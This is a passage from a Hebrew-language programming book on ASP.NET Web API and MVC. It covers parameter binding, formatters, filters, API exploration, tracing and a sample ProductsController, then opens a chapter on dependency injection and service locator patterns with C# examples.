 קישור פרמטרים
 ערכים בגוף ההודעה ומחוץ לגוף ההודעה מוביל אותנו באופן טבעי לדיון הן הדיון הקודם על

 שתי המחלקות :)Model Binders(מקשרים למודל  והן ב)Formatters(מפרמטים ב
אשר מנסחים חתימה של שיטת כ. בהתאמה, גוף-שאחראיות על טיפול בערכי גוף וערכי חוץ

המפרמטים אחראים על " (מהגוף"טיפוסים מורכבים מגיעים , פעולה שכוללת פרמטרים
המקשרים למודל אחראים על " (מחוץ לגוף"בעוד שטיפוסים פשוטים מגיעים , )הפקתם
  .אנחנו משתמשים במפרמטים לפענוח הנתונים, במקרה של תכני גוף שנשלחים). הפקתם

: Web APIעלינו להכניס לדיון מושג חדש שנוסף לתשתית , ת התמונה המלאהכדי לקבל א
 משתמשת במקשרים לפרמטרים Web APIתשתית . )Parameter Binding(קישור פרמטרים 

באפשרותנו להשפיע על ההחלטה הזו . כדי לקבוע כיצד לספק ערכים לפרמטרים יחידים
אשר כבר שימש אותנו , [ModelBinder]  המאפייןכמו למשל, באמצעות מאפייני סימון

ללא שימוש באמצעי עקיפה להשפעה על , יש לדעת שבתרחיש ברירת המחדל. MVCביישומי 
 . ההחלטות מתקבלות על פי לוגיקת טיפוס פשוט או טיפוס מורכב, החלטות הקישור

מערכת קישור הפרמטרים סוקרת את הפרמטרים של הפעולה ומחפשת תכונות שנגזרות 
אשר ( מגיעה עם מספר תכונות כאלו Web APIתשתית . ParameterBindingAttribute מהמחלקה

ובנוסף ניתן להוסיך להן מקשרי פרמטרים מותאמים אישית שאינם , )11.1מפורטות בטבלה 
על ידי הרשמתם בתצורה או על ידי כתיבת תכונות , משתמשים בקישור למודל או במפרמטים

 .  משלכםParameterBindingAttribute מבוססות על

 תכונות קישור פרמטרים: 11-1טבלה 

 משמעות תכונה

ModelBindingAttribute  השתמשו בתכונה זו כדי להורות למערכת קישור הפרמטרים
ליצור את הערך באמצעות , כלומר. להשתמש בקישור למודל

 . מקשרים למודל וספקי ערכים רשומים כלשהם

 על פי ברירת מחדל על כל  הקישור שמיושם)קוד ( היגיוןוזה
 . פרמטר מטיפוס פשוט
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 משמעות תכונה

FromUriAttribute  זוהי גרסה ממוקדת שלModelBindingAttribute שמורה למערכת 
מאובייקטים שמיישמים את ממשק להשתמש רק בספקי ערכים 

IUriValueProviderFactory להגבלת הערכים המקושרים כדי 
 .  בלבדURIלהבטיח שהם מגיעים מכתובות 

ספקי נתוני הניתוב וערכי מחרוזת ממשק זה מיושם על ידי 
 . Web APIהשאילתה המובנים של 

FromBodyAttribute  השתמשו בתכונה זו כדי להורות למערכת קישור הפרמטרים
ליצור את הערך על ידי איתור , כלומר. להשתמש במפרמטים

) body( שיכול לפענח את הגוף MediaTypeFormatterיישום של 
 .וליצור את הטיפוס המבוקש על סמך נתוני הגוף המפוענחים

זו הגישה שמיושמת על ידי היגיון ברירת המחדל לכל טיפוס 
 . מורכב

כל , MVCבסביבת . MVC-מערכת קישור הפרמטרים פועלת בצורה די שונה בהשוואה ל
אופן זהה  פועל בWeb APIקישור למודל בתשתית . הפרמטרים נוצרים באמצעות קישור למודל

למרות , )וספקי ערכים ומפעלים, מקשרים למודל וספקים( כמעט מכל הבחינות MVC-ל
שמבוססים על , מקיפים למדי) refactoring(מספר שינויים שבמנגנונים הפנימיים בוצעו 

לרשותכם עומדים מקשרי מודל . MVC Futuresמערכת הקישור למודל החלופית שבספריית 
ואפילו טיפוסים , טיפוסים פשוטים, מילונים, אוספים, מערכיםמובנים עבור קישור של 

על .  כדי לגרום להם לפעול[ModelBinder] במאפיין להשתמש תצטרכואך כמובן ש, מורכבים
אם אתם יודעים לכתוב מקשר למודל או ספק ערך ביישומי , אף שינויים זעירים בממשקים

MVC , לא תתקשו לעשות את אותו הדבר גם ביישומיWeb API . 

המפרמטים אחראים על צריכה . Web APIהם מושג חדש לתשתית ) formatters(מפרמטים 
מבחינות מסוימות המפרמטים מקבילים למבצעי הסריאליזציה . והפקה של תכני גוף ההודעה

)serializers ( שלNET : מחלקות שאחראיות לקודד ולפענח טיפוסים מורכבים מותאמים אישית
אתם יכולים לקודד אובייקט אחד . המהווה את תוכן הגוף) bytes(של בתים אל ומתוך רצף 

למרות שהאובייקט הזה , וגם לפענח חזרה אובייקט אחד בדיוק מתוך הגוף, בדיוק לתוך הגוף
 . NETכמצופה מכל אובייקט מורכב של , יכול להכיל אובייקטים מוטמעים

באמצעות  (JSON שמקודד ומפענח אחד:  כוללת שלושה מפרמטים מובניםWeb APIתשתית 
Json.NET( , אחד שמקודד ומפענחXML)  באמצעותDataContractSerializer או XmlSerializer( ,

 אחד מהמפרמטים האלה כל.  של טופס שנמסר מדפדפןURLואחד שמפענח ערכים מכתובת 
 הפורמט ואתם יכולים להיות בטוחים שמאמצים רבים יושקעו בהמרת, שימושי ויעיל ביותר

 . הנתמך על ידי המפרמט למחלקה לבחירתכם
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מפרמטי , API עוצבה בעיקר כדי לסייע בכתיבת שרתי Web APIלמרות שתשתית  הערה
JSONו -XMLמחלקות .  המובנים של התשתית שימושיים גם לכתיבת יישומי לקוחHTTP  תחת

System.Net.Http  נוצרו במיוחד לעבודה עםHTTPות מערכות מיפוי ואינן כולל,  גולמי
 . לתוכן בדומה למפרמטים-אובייקט

 - DLL(דינמי -בחר להציב את המפרמטים בספריית קישור Web APIשל צוות הפיתוח 
dynamic link library(  עצמאית בשםSystem.Net.Http.Formatting .ָט עֵמכיוון שלמ

System.Net.Http לכתיבת קוד ניתן להשתמש בה, אין לספרייה הזו תלויות נוספות HTTP בצד 
 אתם כותבים גם יישום Web API יתרון מבורך אם בנוסף לשירות -הלקוח ובצד השרת כאחד 

 .  שיצרוך את השירות הזהNET-לקוח מבוסס

כמו , HttpClientהדינמי מכילה מספר שיטות הרחבה שימושיות עבור -ספריית הקישור
HttpRequestMessageו -HttpResponseMessage ,ר מאפשרות להשתמש בקלות אש

 . במפרמטים המובנים הן ביישומי לקוח והן ביישומי שרת

הוא תומך רק בפענוח ,  הזוDLLנכלל בספריית  URLשהמפרמט של כתובות שימו לב שלמרות 
התועלת שלו ליישומי לקוח , על כן. ואינו תומך בקידוד, של נתוני טופס שנמסרו מדפדפנים

 . מוגבלת

 סינון בקשות
.  כבר מגרסתה הראשונהASP.NETיכולת לסנן בקשות באמצעות מאפיינים קיימת בתשתית ה

 ASP.NET Web APIתשתית . MVC 3האפשרות להוספת מסננים גלובליים נוספה לגרסת 
המסנן גלובלי נמצא ברמת התצורה , אך כפי שכבר נאמר, תומכת בשתי באפשרויות הללו

יוון שהתשתית אינה כוללת אפשרויות גלובליות כאלו מכ, ולא ברמת היישום, )קונפיגורציה(
 .ברמת היישום

 הוא שהמסננים מהווים חלק מהצינור האסינכרוני MVC לעומת Web APIאחד היתרונות של 
)asynchronous pipeline( ,מסנן יכול להפיק תועלת . בהגדרתם ולכן הם תמיד אסינכרוניים

יאות במקור מידע אסינכרוני כגון בסיס נתונים או תיעוד שג,  לדוגמה-מהתנהגות אסינכרונית 
 הבינו שבמקרים מסוימים כתיבת קוד אסינכרוני Web APIבצוות , עם זאת. מערכת הקבצים

- וכאשר אין גישה לNET 4.במיוחד כאשר הפרויקט מיועד עבור גרסה , מהווה נטל מיותר
asyncו -await .(מאפיינים-ותמבוסס ומסיבה זו יצרו גם מחלקות בסיס סינכרוניות) attribute-

based(כאשר מייבאים מסננים של .  עבור שלושת ממשקי הסינוןMVC , השימוש במחלקות
אם מסנן צריך ליישם יותר . הבסיס הללו היא ככל הנראה הדרך המהירה להתחיל לעבוד

תייע לא תוכלו להס, כמו למשל סינון פעולות וגם סינון שגיאות, משלב אחד בצינור הסינון
 . במחלקות בסיס קיימות ותצטרכו ליישם את הממשק באופן מפורש

על כל (ברמת הבקר , )על פעולה יחידה(מפתחים יכולים להחיל מסננים ברמת הפעולה 
 Web APIתשתית ). על כל הפעולות והבקרים בתצורה(וברמת התצורה , )הפעולות בבקר
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, MVCבדומה למקבילו בתשתית . Authorizeהמאפיין : הבסיסית כוללת מסנן אחד מוכן לשימוש
, AllowAnonymousוכוללת את הפרמטר , מאפיין זה משמש לסימון פעולות שדרוש להן אימות

 NuGet גם יצר חבילת Web APIצוות . Authorizeשמשמש לנטרול סלקטיבי של המאפיין 
מיכה אוטומטית אשר מספקת ת, QueryableAttributeביניהן , ODataלתמיכה במספר אפשרויות 

 . filter$- וtop$כמו למשל ערכי מחרוזת השאילתה , Odataבתחביר שאילתת 

 ממשקים ומחלקות בסיס לסינון: 11-2טבלה 

 ממשק אסינכרוני
 מחלקת בסיס סינכרונית

 ייעוד

IAuthorizationFilter 
AuthorizationFilterAttribute 

. ם מופעלים לפני תחילת קישור הפרמטרימסנני הרשאה
מטרתם לסנן בקשות שמתקבלות ממשתמשים ללא הרשאה 

מסנני הרשאה מופעלים לפני . מתאימה לפעולה המסומנת
 . מסנני פעולה

IActionFilter 
ActionFilterAttribute 

 מופעלים אחרי קישור הפרמטרים ועוטפים את מסנני פעולה
ובכך מאפשרים יירוט לפני שהפעולה , APIהקריאה לפעולת 

המטרה של מסננים אלה .  ואחרי שהרצתה הושלמההתחילה
או להחליף את הערכים /היא לאפשר למפתחים להרחיב ו

 . או הבקשות היוצרות של הפעולה/הנכנסים ו

IExceptionFilter 
ExceptionFilterAttribute 

 מופעלים כאשר נדרשת זריקת שגיאה חריגה מסנני שגיאות
)exception .(יאות לבדיקת ניתן להשתמש במסנני שג

 . כמו למשל תיעוד שגיאה, השגיאה ומענה מתאים

התנהגות . MVC של HandleError אינה מספקת אפשרות מקבילה למאפיין Web APIתשתית 
" מסך המוות הצהוב" במקרה שגיאות היא להחזיר את MVCהמקובלת של ברירת המחדל של 

ליישומים שמפיקים )  למשתמשאם כי לא ידידותית במיוחד( תגובה הולמת - ASP.NETשל 
HTML . המאפייןHandleError של MVC מאפשר להחליף את המסך הזה בתצוגה מותאמת 
, גם במקרה של שגיאה, צריכים תמיד לנסות להחזיר נתונים מובנים, Web APIשירותי . אישית

. ולכן התשתית מספקת תמיכה מובנית בסריאליזציה של שגיאות חזרה אל משתמש הקצה
חים שרוצים לעקוף את ההתנהגות הזו יכולים לכתוב מסננים מותאמים אישית לטיפול מפת

 . ולבצע את הרשמתם ברמת התצורה, בשגיאות

 אִפשְוּר הזרקת תלויות
 dependency injection(לי הזרקת תלויות מכ נוספה תמיכה מוגבלת בASP.NET MVC 3לגרסה 

containers ( שמספקים שירותיMVCם נוספה היכולת לשמש כמפעל עבור מחלקות וג,  מובנים
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 אימץ את Web APIצוות הפיתוח של תשתית . כגון בקרים ותצוגות, שאינן מספקות שירותים
 . עם שני הבדלים חשובים, הגישה הזו ומספק יכולות דומות

 נעשה שימוש במספר מחלקות סטטיות בתור מכלים לשירותים MVCבתשתית , ראשית
 משמש כתחליף למחלקות Web APIאובייקט התצורה של . MVC על ידי סטנדרטיים שנצרכים

רשימת השירותים הסטנדרטיים ומפתחים יכולים לסקור ולערוך את , הסטטיות הללו
 . HttpConfiguration.Services באמצעות

" טווח הכרה" נוסף המושג Web API של )dependency resolver(מפענח התלויות ל, שנית
)scope .(ן לראות בטווח הכרה כאמצעי שמשמש את מכל הזרקת התלויות למעקב אחר נית

מסוים כדי לאפשר לנקות אותם בבת אחת ) context(האובייקטים שמוקצים על ידו בהקשר 
 :  משתמש בשני טווחי הכרהWeb APIמפענח התלויות של . ובקלות

  מחוק אותם שיש ל, עבור שירותים גלובליים לתצורה - תצורה-הכרה משויךטווח
 . כאשר התצורה מסיימת את תפקידה ומורידים אותה מהזיכרון

 עבור שירותים שנוצרים בהקשר של בקשה נתונה  -לבקשה -טווח הכרה מקומי
 . שיש למחוק אותם לאחר השלמת הבקשה, )למשל, שירותים שצורך בקר(

 Web API- וMVC נדון ביתר פירוט בשימוש שנעשה בהזרקת תלויות בתרחישי 13בפרק 
 . כאחד

  Web APIנותית של ממשקי סקירה תכ
ומעוצבים לצורך הצגת , למשימה, הוק- נבנים בדרך כלל בגישת אדMVCבקרים ופעולות של 

נוטים להיות יותר מאורגנים , לעומת זאת, Web APIממשקי .  ביישוםHTMLתצוגות בפורמט 
למפתחים לספק יכולות מאפשרת ,  בזמן הריצהAPIהיכולת לחשוף ממשקי . ומתוכננים

כולל הפקה אוטומטית של דפי עזרה ובדיקת ממשק ,  שלהםWeb APIחשובות ביישומי 
 . משתמש בצד הדפדפן

 IApiExplorer באמצעות גישה לשירות API לבחון ברמת התכנות את ממשקי מפתחים יכולים
ל כל נקודות  עשוי להציג רשימה שMVCבקר , לדוגמה. HttpConfiguration.Services תוךמ

 באמצעות קטע Web API תוך מIApiExplorer על ידי ניתוח מופע של APIהקצה הזמינות של 
 ). 11-4פלט הקוד הזה מוצג בתרשים ( שלהלן Razorקוד 
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 11-4תרשים    
 

@model System.Web.Http.Description.IApiExplorer 

 

@foreach (var api in Model.ApiDescriptions) { 

 <h1>@api.HttpMethod @api.RelativePath</h1> 

 

 if (api.ParameterDescriptions.Any()) { 

  <h2>Parameters</h2> 

  <ul> 

  @foreach (var param in api.ParameterDescriptions) { 

   <li>@param.Name (@param.Source)</li> 

  } 

  </ul> 

 } 

} 

מפתחים יכולים גם ליישם את ממשק , מטיבנוסף למידע שניתן לגילוי באופן אוטו
IDocumentationProvider כדי להרחיב את תיאורי APIהשתמשו באפשרות זו כדי .  בתיעוד

מפתחים רשאים , מכיוון שהתיעוד ניתן להרחבה. עשיר יותר) דוקומנטציה(לספק תיעוד 
, יס נתוניםטבלאות בס, לרבות קבצים עצמאיים, לאחסן את התיעוד בכל צורה שנוחה להם

 . משאבים או כל פורמט אחר שהולם את תהליך הבנייה של היישום

 מעקב אחר פעולת היישום
 הוא איתור שגיאות ,במארח מרוחק, או מותקן, אחד האתגרים הגדולים עם קוד שנפרס

)debugging (תשתית . במקרה של תקלהWeb API מספקת מערכת מעקב )tracing ( אוטומטית
יכולות . אך תוכלו להפעילה אם תזדקקו לשירותיה, על פי ברירת מחדלעשירה שמנוטרלת 
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המעקב המובנות מכסות חלק גדול מהרכיבים המובנים ומאפשרות לבצע התאמה בין נתונים 
, שמתקבלים מבקשות אינדיבידואליות במהלך התנועה בין השכבות השונות של המערכת

 . והדבר מקל על יכולת איתור השגיאות

 אינה כוללת Web APIתשתית . ITraceWriterך של אפשרות המעקב הוא השירות עמוד התוו
מכיוון שלרוב המפתחים יש כבר מערכת מעקב , של השירות הזה, או היישום, את המימוש

התשתית , במקום לספק מימוש מובנה).  ורבות אחרותETW ,log4net ,ELMAHכגון (מועדפת 
, ובמידה שכן,  ברשימת השירותיםITraceWriter של בודקת בזמן האתחול אם יש מימוש זמין

המפתחים צריכים לבחור בדרך הטובה . היא מתחילה באופן אוטומטי לעקוב אחר כל הבקשות
 כאשר לרוב הדבר נעשה באמצעות אפשרויות -ביותר לאחסון נתוני המעקב ועיון בהם 

 . שמשמשת אותם) logging system(התצורה שמספקת מערכת התיעוד 

 Web API :PRODUCTSCONTROLLERדוגמה לבקר 
קוד "יקט נתונים פשוט בעזרת אפשרות י שחושף אובWeb APIלפניכם דוגמה של בקר 

 :הדוגמה מבוססת על שלושת הקבצים הבאים. Entity Frameworkשל ) Code First ("תחילה

  המודל- Product.cs) 11-3 קוד( 

  חיבור למקור המידע- DataContext.cs) 11-4 ודק( 

  בקרWeb API - ProductsController.cs) 11-5 קוד( 

 Product.csקובץ : 11-3 קוד

public class Product 

{ 

 public int ID { get; set; } 

 public string Name { get; set; } 

 public decimal Price { get; set; } 

 public int UnitsInStock { get; set; } 

} 

  DataContext.csובץ ק: 11-4 קוד

public class DataContext : DbContext 

{ 

 public DbSet<Product> Products { get; set; } 

} 
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 ProductsController.csקובץ : 11-5 קוד

public class ProductsController : ApiController 

{ 

 private DataContext db = new DataContext(); 

 

 // GET api/Products 

 public IEnumerable<Product> GetProducts() 

 { 

  return db.Products; 

 } 

 

 // GET api/Products/5 

 public Product GetProduct(int id) 

 { 

  Product product = db.Products.Find(id); 

  if (product == null) 

  { 

   throw new HttpResponseException( 

    Request.CreateResponse( 

     HttpStatusCode.NotFound)); 

  } 

 

  return product; 

 } 

 

 // PUT api/Products/5 

 public HttpResponseMessage PutProduct(int id, Product product) 

 { 

  if (ModelState.IsValid && id == product.ID) 

  { 

   db.Entry(product).State = EntityState.Modified; 

 

   try 

   { 

    db.SaveChanges(); 

   } 

   catch (DbUpdateConcurrencyException) 

   { 

    return 

     Request.CreateResponse( 

      HttpStatusCode.NotFound); 

   } 
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   return 

    Request.CreateResponse( 

     HttpStatusCode.OK, product); 

  } 

  else 

  { 

   return 

    Request.CreateResponse( 

     HttpStatusCode.BadRequest); 

  } 

 } 

 

 // POST api/Products 

 public HttpResponseMessage PostProduct(Product product) 

 { 

  if (ModelState.IsValid) 

  { 

   db.Products.Add(product); 

   db.SaveChanges(); 

 

   HttpResponseMessage response = 

    Request.CreateResponse( 

     HttpStatusCode.Created, product); 

 

   response.Headers.Location = 

    new Uri(Url.Link( 

     "DefaultApi", 

     new { id = product.ID })); 

 

   return response; 

  } 

  else 

  { 

   return 

    Request.CreateResponse( 

     HttpStatusCode.BadRequest); 

  } 

 } 

 

 // DELETE api/Products/5 

 public HttpResponseMessage DeleteProduct(int id) 

 { 

  Product product = db.Products.Find(id); 

  if (product == null) 

  { 
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   return 

    Request.CreateResponse( 

     HttpStatusCode.NotFound); 

  } 

 

  db.Products.Remove(product); 

 

  try 

  { 

   db.SaveChanges(); 

  } 

  catch (DbUpdateConcurrencyException) 

  { 

   return 

    Request.CreateResponse( 

     HttpStatusCode.NotFound); 

  } 

 

  return 

   Request.CreateResponse( 

    HttpStatusCode.OK, product); 

 }  

 

 protected override void Dispose(bool disposing) 

 { 

  db.Dispose(); 

  base.Dispose(disposing); 

 } 

} 

 סיכום
 ליישומי אינטרנט API הינה אמצעי שימושי ויעיל להוספת ממשקי ASP.NET Web APIתשתית 

הבקרים שמיושם - התכנות מבוסס לא יתקשו להסתגל למודלMVCמפתחי . חדשים וקיימים
-אינטרנטי ואירוח- יגלו במהרה שהתמיכה בסביבות אירוחWCFמפתחי . על ידי התשתית

בשילוב . MVC-עצמי כאחד מהווה ערך מוסף משמעותי בהשוואה למערכות שירות מבוססות
ר העיצוב האסינכרוני של התשתית מאפשר ליצו, NET 4.5 ופלטפורמת Visual Studio 2012עם 

  .ניתנים להרחבה באופן יעיל שWeb APIממשקי 
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 12פרק 

  הזרקת תלויות

)Dependency Injection( 

Brad Wilson 

 

 עיקרי הפרק

 תבניות עיצוב תוכנה 

  שימוש במפענח התלויות ביישומיMVC 

  שימוש במפענח התלויות ביישומיWeb API 

 

מפענח תלויות  כוללת ASP.NET MVC  התוכנהתשתית,  השלישיתהגרסהל מהח
)dependency resolver( בהזרקתפור משמעותי ביכולת של יישום להשתתף אשר תורם לשי 

, ובמחלקות שכיחות, MVCבשירותים שנצרכים על ידי ) dependency injection (תלויות
 . כגון בקרים ודפי תצוגה

 ת עיצוב תוכנהתבניו
עלינו להבין , MVCכדי להבין מהי למעשה הזרקת תלויות וכיצד ניתן להשתמש בה ביישומי 

תבנית עיצוב תוכנה נועדה לספק תיאור פורמלי של בעיה .  עיצוב תוכנהתחילה מהן תבניות
כדי לאפשר למפתחים להשתמש בתבנית להפשטה של תהליכי , ולהציג פתרון לבעיה הזו

 . הזיהוי וההצגה של בעיות נפוצות ופתרונותיהן

רה אלא מעניקה שם והגד, תבנית העיצוב לא בהכרח מייצגת המצאה של משהו חדש או מקורי
ייתכן מאוד . פורמליים לתהליכים שמבוססים על טכניקות ושיטות עבודה מקובלות בתעשייה

 . שתזהו את תבנית עיצוב שנציג בפרק מפתרונות שיישמתם בעבר עבור בעיות שטיפלתם בהן
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 )Inversion of Control(היפוך בקרה : תבנית עיצוב

 :פניכםבקוד כמו זה של) או להשתמש(בוודאי יצא לכם להיתקל 
public class EmailService 

{ 

 public void SendMessage() { ... } 

} 

 

 

public class NotificationSystem 

{ 

 private EmailService svc; 

 

 public NotificationSystem() 

 { 

  svc = new EmailService(); 

 } 

 

 public void InterestingEventHappened() 

 { 

  svc.SendMessage(); 

 } 

} 

המצב שבו רכיב . EmailService תלויה במחלקה NotificationSystemקל לראות שהמחלקה 
מערכת ההתראות , במקרה שלנו. )coupling(קישור תלוי בגורם חיצוני נקרא 

)NotificationSystem ( יוצרת מופע של שירות דואר אלקטרוני)EmailService ( ישירות בתוך
מערכת ההתראות יודעת בדיוק איזה סוג של מחלקת שירות היא ,  אחרותבמילים. הבנאי שלה

 של) interconnectedness(ההדדית -היחס הזה מספק חיווי לרמת הקישוריות. יוצרת וצורכת
בדומה (מחלקה שיש לה ידע רב אודות מחלקה אחרת שמקיימת איתה אינטראקציה . הקוד

 . )tightly coupled( הדוקשר קנאמר שהיא בעלת ) למחלקה שבדוגמה האחרונה

כאשר מחלקה חשופה .  קרובות כמעמסה על העיצובלעתיםקישור הדוק נחשב , בעיצוב תוכנה
עולה הסיכוי ששינויים במחלקה אחת , באופן מפורש לעיצוב ולמימוש של מחלקה אחרת

 . יפגעו בפעולה התקינה של האחרת

ה כאשר נרצה שמערכת ההתראות מה יקר: הנה בעיה נוספת עם העיצוב שהוצג בדוגמה
ייתכן שמנהל המערכת , לדוגמה? תשלח סוגים אחרים של הודעות במקרה של אירוע מעניין

או שנחליט לתעד את כל , ירצה לקבל הודעות טקסט לטלפון הנייד ולא אל הדואר האלקטרוני
 . ההתראות בבסיס נתונים כדי שתהיינה זמינות לבדיקה במועד מאוחר יותר
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 : אך קשורים, דרש בדרך כלל לבצע שני צעדים נפרדיםנ, צמצם את הקשרים ההדוקיםכדי ל

 . יצירת שכבת הפשטה בין שני חלקי הקוד .1

או במחלקות ( קרובות בממשקים לעתיםנשתמש , NET.-כדי לבצע את הצעד הזה ב
עלינו , אם נחזור לדוגמה הקודמת. לייצוג ההפשטות בין שתי המחלקות) מופשטות

ולוודא שבקוד תופענה קריאות לשיטות או , סיף ממשק שייצג את ההפשטהלהו
של ) אובייקט(העותק הפרטי שלכם הופך למופע . מאפיינים של הממשק הזה בלבד

וכעת יש ברשות הבנאי ידע מוגבל בנוגע , ספציפי) מחלקה(הממשק הזה במקום טיפוס 
 : כמוצג להלן, לטיפוס עצמו

public interface IMessagingService 

{ 

 void SendMessage(); 

} 

 

public class EmailService : IMessagingService 

{ 

 public void SendMessage() { ... } 

} 

 

public class NotificationSystem 

{ 

 private IMessagingService svc; 

 

 public NotificationSystem() 

 { 

  svc = new EmailService(); 

 } 

 

 public void InterestingEventHappened() 

 { 

  svc.SendMessage(); 

 } 

} 

עלינו . למחלקה הצורכתהעברת האחריות לבחירת המימוש של ההפשטה מחוץ  .2
 . NotificationSystemמחוץ למחלקה  EmailServiceלהעביר את היצירה של המחלקה 

תבנית מחוץ למחלקה שצורכת את התלויות הללו נקראת עברה של יצירת התלויות ה הערה
מכיוון שהדבר שאותו אנחנו , היא נקראת כך). inversion of control pattern (היפוך בקרה

ובכך אנחנו למעשה מחלצים את הבקרה ליצירת , הופכים הינו למעשה היצירה של התלויות
 . התלויות מהצרכן של המחלקה
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התבנית . הינה תבנית מופשטת) IoC - Inversion of Control(היפוך הבקרה תבנית 
אך אינה מגדירה כיצד זה ,  למחלקה הצורכתמעודדת העברה של יצירת תלויות אל מחוץ

בסעיפים הבאים נציג שתי דרכים מקובלות ליישום תבנית היפוך . צריך להתבצע בפועל
 )service locator(ר שירותים תֵאַמְ: שתיארנוהבקרה ומימוש תהליך העברת האחריות 

 .)dependency injection(הזרקת תלויות ו

   שירותיםמְאַתרֵ: תבנית עיצוב

 משיגים את היפוך הבקרה על ידי הוספת ,)service locator(על פי תבנית מאתר השירותים 
. שדרכו יכולים שאר הרכיבים לתקשר עם התלויות שלהם" מאתר שירותים"רכיב חיצוני בשם 

עם בקשות מטיפוס קיים לשירותים , לפעמים מאתר השירותים הוא ממשק מיוחד מאוד
 . הוא בסך הכול אמצעי גנרי לבקשת שירותים מטיפוס שרירותיולפעמים המאתר , מוגדרים

 מאתר שירותים מטיפוס חזק

 : קיים עבור היישום לדוגמה שלנו עשוי לכלול את הממשק הבא מטיפוס שירותים מאתר

public interface IServiceLocator 

{ 

 IMessagingService GetMessagingService(); 

} 

. GetMessagingServiceנקרא לשיטה , IMessagingServiceימוש של כאשר נזדקק למ, במקרה זה
 . ולכן לא יהיה צורך להמיר את התוצאה,  מפורשIMessagingServiceהשיטה הזו תחזיר 

זכרו . בוודאי שמתם לב שמאתר השירותים מוצג כאן בתור ממשק ולא בתור טיפוס קונקרטי
ובכלל זה הקשר בין , ים בין הרכיביםשאחת המטרות שלנו היא לצמצם את הקשרים ההדוק

נוכל , IServiceLocatorאם קוד הצרכן מקודד על פי . קוד הצרכן לבין מאתר השירותים עצמו
יש לכך תועלת רבה בעת ביצוע . במידת הצורך להחליף מימושים אלטרנטיביים בזמן הריצה

 לשימוש במאתר NotificationSystemנשכתב את . 13כפי שיוסבר בפרק , בדיקות ממוקדות
 :השירותים שיצרנו

public class NotificationSystem 

{ 

 private IMessagingService svc; 

 
public NotificationSystem(IServiceLocator locator) 

 { 
  svc = locator.GetMessagingService(); 

 } 

 

 public void InterestingEventHappened() 

 { 

  svc.SendMessage(); 

 } 

} 
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 תהיה גישה למאתר NotificationSystemאנחנו מניחים שלכל גורם שיוצר מופע של 
 NotificationSystemשאם היישום יוצר מופע של המחלקה , יתרון נוח נוסף הוא. השירותים

אז המאתר יכול להעביר את עצמו אל בנאי המחלקה , דרך מאתר השירותים
NotificationSystem .פע של אם תִצרְו מוNotificationSystemיהיה ,  מחוץ למאתר השירותים

 כדי לאפשר לה NotificationSystemעליכם לספק מימוש של מאתר השירותים עבור המחלקה 
 . למצוא את התלויות שלה

אתם : שימושולהוא קל להבנה , ראשית? מדוע להשתמש במאתר שירותים מטיפוס חזק
איזה שירותים , וחשוב אולי לא פחות(מאתר השירותים יודעים בדיוק מה אתם יכולים לקבל מ

אם יש צורך בפרמטרים נוספים ליצירת מימוש של , שנית). אינכם יכולים לקבל ממנו
IMessagingService ,תוכלו לבקש אותם באופן ישיר כפרמטרים בקריאה ל-

GetMessagingService . 

מאתר שירותים מסוג זה יכול , ראשית? מדוע לא להשתמש במאתר שירותים מטיפוס חזק
ואינו , IServiceLocatorליצור אך ורק אובייקטים מטיפוס שהוגדר מראש בזמן העיצוב של 

 עקב הוספת IServiceLocatorעדכון והרחבה של הגדרות , שנית. מסוגל ליצור טיפוסים אחרים
 . שירותים חדשים ליישום שלכם עשוי להוות נטל רב

 שמאתר שירותים מטיפוס חל

אם תסכמו לעצמכם שהחסרונות של השימוש במאתר שירותים מטיפוס חזק עולים על 
. תוכלו לשקול את השימוש במאתר שירותים מטיפוס חלש במקומו, היתרונות של השימוש בו

 : דוגמה למאתר שכזה
public interface IServiceLocator 

{ 

 object GetService(Type serviceType); 

} 

מכיוון שהיא מאפשרת שירותים , בנית מאתר המיקום הינה הרבה יותר גמישהגרסה זו של ת
 weakly typed service(מאתר שירותים מטיפוס חלש גרסה זו מכונה . מכל טיפוס שרירותי

locator( מכיוון שהמאתר מקבל Typeטיפוס - ומחזיר מופע חסר) אובייקט מטיפוסObject .(
את האובייקט המוחזר מהקריאה אל ) cast(ליכם להמיר ע, כדי לקבל אובייקט מטיפוס רצוי

 . GetServiceהשיטה 

הנה דרך ?  עם הגרסה החדשה של מאתר השירותיםNotificationSystemכיצד תיראה המחלקה 
 : אחת לשכתב את המחלקה

public class NotificationSystem 

{ 

 private IMessagingService svc; 

 

 public NotificationSystem(IServiceLocator locator) 

 { 

  svc = (IMessagingService) 
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 locator.GetService(typeof(IMessagingService)); 

 } 

 

 public void InterestingEventHappened() 

 { 

  svc.SendMessage(); 

 } 

} 

בעיקר בשל הצורך להמיר את , הקוד הזה קצת פחות אסטטי מזה שמוצג בגרסה הקודמת
IMessagingService .הודות להוספת השימוש ב- generics לגרסת NET 2.0 , באפשרותנו ליצור

 : GetServiceגרסה גנרית של השיטה 
public interface IServiceLocator 

{ 

 object GetService(Type serviceType); 

 TService GetService<TService>(); 

} 

, שימו לב(יר אובייקט שכבר הומר לטיפוס המתאים מהחתימה של שיטה זו משתמע שהיא תחז
בדרך זו ניתן לכתוב את ). Objectולא , TServiceשהטיפוס המוחזר של השיטה המעודכנת הוא 

 :קוד השימוש בשיטה בצורה נקייה יותר
public class NotificationSystem 

{ 

 private IMessagingService svc; 

 

 public NotificationSystem(IServiceLocator locator) 

 { 

  svc = locator.GetService<IMessagingService>(); 

 } 

 

 public void InterestingEventHappened() 

 { 

  svc.SendMessage(); 

 } 

} 

 

 ?למה צריך גרסת אובייקט

במקום , GetServiceאתם עשויים לתהות מדוע יש בכלל לטרוח ליצור גרסת אובייקט של 
מכיוון שהגרסה הגנרית חוסכת לנו . בממשק התכנות שלנו את הגרסה הגנרית בלבדלכלול 
 ?איזו סיבה יש לנו להשתמש בגרסה האחרת, המרה

 יודע בדיוק לאיזה לטיפוס תבוצע הקריאה בזמן APIלא כל צרכן שקורא לממשק , בפועל
תית יודעת התש.  מנסה ליצור טיפוסי בקרMVCתשתית , בדוגמאות שנציג בהמשך. ההידור

מיפוי , לדוגמה(ולא בזמן ההידור , אבל היא מגלה זאת רק בזמן הריצה, מהו הטיפוס של הבקר



 335    הזרקת תלויות:12פרק 

מכיוון שפרמטר הטיפוס בגרסה ). HomeControllerבקר  שמופנית אל הHome/בקשה לכתובת 
לא תוכלו לקרוא למאתר השירותים , הגנרית לא משמש רק להמרה אלא גם לציון סוג הטיפוס

 .reflectionהיעזר ברכיב מבלי ל

במקום שיטה (סרון של הגישה הזו הוא בכך שאנחנו חייבים ליצור שתי שיטות כמעט זהות יהח
ניתן למנוע את הכפילות הזו באמצעות . IServiceLocatorבעת יישום הממשק ) אחת בלבד

